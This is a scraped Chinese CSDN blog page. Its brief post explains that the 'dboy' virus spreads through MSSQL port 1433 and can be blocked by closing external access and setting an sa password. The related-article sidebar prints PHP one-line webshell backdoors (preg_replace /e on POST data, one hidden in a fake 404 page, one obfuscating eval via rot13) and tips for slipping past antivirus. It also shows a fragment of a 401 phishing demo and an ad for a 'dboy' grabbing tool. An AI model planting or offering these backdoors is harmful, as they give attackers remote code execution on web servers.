[原]删除dboy病毒

最新推荐文章于 2021-11-07 19:53:46 发布
最新推荐文章于 2021-11-07 19:53:46 发布
阅读量93 收藏
点赞数
原文链接：http://www.cnblogs.com/im_foto/archive/2009/02/11/1388671.html
版权

现在还不能完全删除 ,但是知道dboy的运作原理了, 它是依家1433端口和mssqlserver运作的

 

只要关闭1433端口的外部连接 ,还有保证sa密码不为空这病毒就不会复发了

 

不过还不会根本删除 ,希望有高手留言相告

转载于:https://www.cnblogs.com/im_foto/archive/2009/02/11/1388671.html

HD1146
关注
CSDN前1000名博主
无知人生，记录点滴
05-26 8万+
博主 简介 stpeace 排名：1 原创：2166 粉丝：7180 积分：181660 等级：10stpeace的专栏中国本博客供大家交流，欢迎各抒己见。博文中的内容禁止用 yuanmeng001 排名：2 原创：5286 粉丝：10660 积分：170616 等级：10袁萌专栏无穷小微积分倡导者–北大教授null老师 yjclsx 排名：3 原创：162...
CSDN博主排名更新，看看原来的前1000名博主现在的排名如何
无知人生，记录点滴
09-28 9237
CSDN博主排名更新，看看新规则 stpeace 原排名：1 新排名：25 yuanmeng001 原排名：2 新排名：143 yjclsx 原排名：3 新排名：72 phphot 原排名：4 新排名：427833 Augusdi 原排名：5 新排名：136594 Dave 原排名：6 新排名：129 Jlins 原排名：7 新排名：446833 Inside_Zhan...
那些强悍的PHP一句话后门
ncafei的博客
01-19 6850
http://www.freebuf.com/articles/web/9396.html 我们以一个学习的心态来对待这些PHP后门程序，很多PHP后门代码让我们看到程序员们是多么的用心良苦。 强悍的PHP一句话后门 这类后门让网站、服务器管理员很是头疼，经常要换着方法进行各种检测，而很多新出现的编写技术，用普通的检测方法是没法发现并处理的。今天我们细数一些有
中木马了
余璜的技术博客
11-20 1649
服务器中了木马，代码如下： ($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); 原理： 这段代码将post进来的数据直接调用eval执行。 解决方案： 看来得把eval禁用掉了。
PHP一句话后门
xyang
05-26 3145
404 Not Found Not Found The requested URL was not found on this server. <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
php一句话后门,PHP一句话后门集锦
weixin_42436686的博客
03-10 712
404页面的利用：404 Not FoundNot FoundThe requested URL was not found on this server.@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>404页面是网站常用的文件，一般建议好后很少有人会去对它进...
dboy正版带帐号1433,日抓2000
02-05
【标题】"dboy正版带帐号1433,日抓2000"揭示了这个资源可能是一款软件或服务，其中包含一个1433的账号，而且它具有每天可以抓取或处理2000个数据的能力。在IT行业中，"1433"通常指的是SQL Server的默认端口号，这...
shell之正则表达式
LiuHuan303的博客
11-07 1022
目录 一，正则表达式概述 1，正则表达式定义 2，元字符 2，表示次数 3，位置锚定 4，分组 5，扩展正则表达式 一，正则表达式概述 1，正则表达式定义 正则表达式，又称正规表达式，常规表达式 使用字符串来描述，匹配一系列符合某个规则的字符串（主要匹配命令结果和文本内容） 正则表示式组成： 普通字符：大小写字母，数字，标点符号及一些其他符号 元字符：在正则表达式中具有特殊意思的专用字符 2，元字符 . 匹配任意单个字符，可以是一个汉字 [] 匹配指定范围内的...
解决DEDECMS历史难题–找后台目录
Coisini的博客
06-04 1091
利用限制 仅针对windows系统 进入正题 首先看核心文件common.inc.php 大概148行左右 if($_FILES) { require_once(DEDEINC.'/uploadsafe.inc.php'); } uploadsafe.inc.php if( preg_match('#^(cfg_|GLOBALS)#', $_key) ) { exit('Req...
shell 免杀aspx_避开eval关键字，打造免杀一句话木马
weixin_30304773的博客
01-16 1984
这年头留个php一句话木马，随便就被杀了，但具我所知，杀软和运维人员杀的都是eval函数的关键字，只要避开关键字就能延长木马的寿命，但要怎么避开呢？首先我想到的是将eval从字符串类型赋给一个变量。如：$func = 'phpinfo';$func();这样的确是可以运行phpinfo()的，但是eval却不能通过这样来执行，我马上又想到了assert函数，他有着类似eval的功能，但效果并不理想...
401认证钓鱼demo
09-13 677
<?php //@b4dboy if(!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW'])) { Header("WWW-Authenticate: Basic realm=\"USER LOGIN\""); Header("HTTP/1.0 401 Un...
php超强后门在任意位置创建文件,php一句话后门参考(php安全防范技术)
weixin_32558527的博客
03-09 405
用php写的程序，由于开发人员水平的问题，经常会存在一些后门被人利用。本节介绍PHP一句话木马。利用404页面隐藏PHP小马：复制代码 代码示例: "-//IETF//DTD HTML 2.0//EN" >404 Not FoundNot FoundThe requested URL was not found on this server.@preg_replace( "/[pageerr...
怎么链接php一句话后门,PHP一句话后门
weixin_42515295的博客
03-27 505
1、利用404页面隐藏一句话404 Not FoundNot FoundThe requested URL was not found on this server.@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>2、无特征隐藏一句话session_start(...
open3d-0.11.2-cp36-cp36m-win_amd64.whl
最新发布
10-19
open3d-0.11.2-cp36-cp36m-win_amd64.whl
SpringBoot是一个经典实用的员工管理系统。集成了Mybatis在MySQL数据库上的
10-19
SpringBoot是一个经典实用的员工管理系统。集成了Mybatis在MySQL数据库上的操作。页面模板使用themleaf。经典SpringBoot案例研究_ SpringBoot_案例研究_
nodejs原型链污染
09-12
进一步，当代码判断 `secert.ctfshow` 等于 `'36dboy'` 时，就会返回`flag`，使得攻击者可以绕过登录验证获取到敏感信息。 因此，通过利用原型链污染，攻击者可以在Node.js应用中实现恶意操作，并绕过原本的安全...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值